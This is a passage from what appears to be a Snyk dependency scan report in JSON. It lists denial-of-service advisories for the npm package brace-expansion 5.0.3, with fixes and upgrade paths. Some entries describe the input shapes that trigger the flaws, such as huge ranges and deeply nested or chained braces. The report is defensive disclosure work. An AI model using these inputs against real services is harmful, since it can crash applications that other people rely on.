lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": 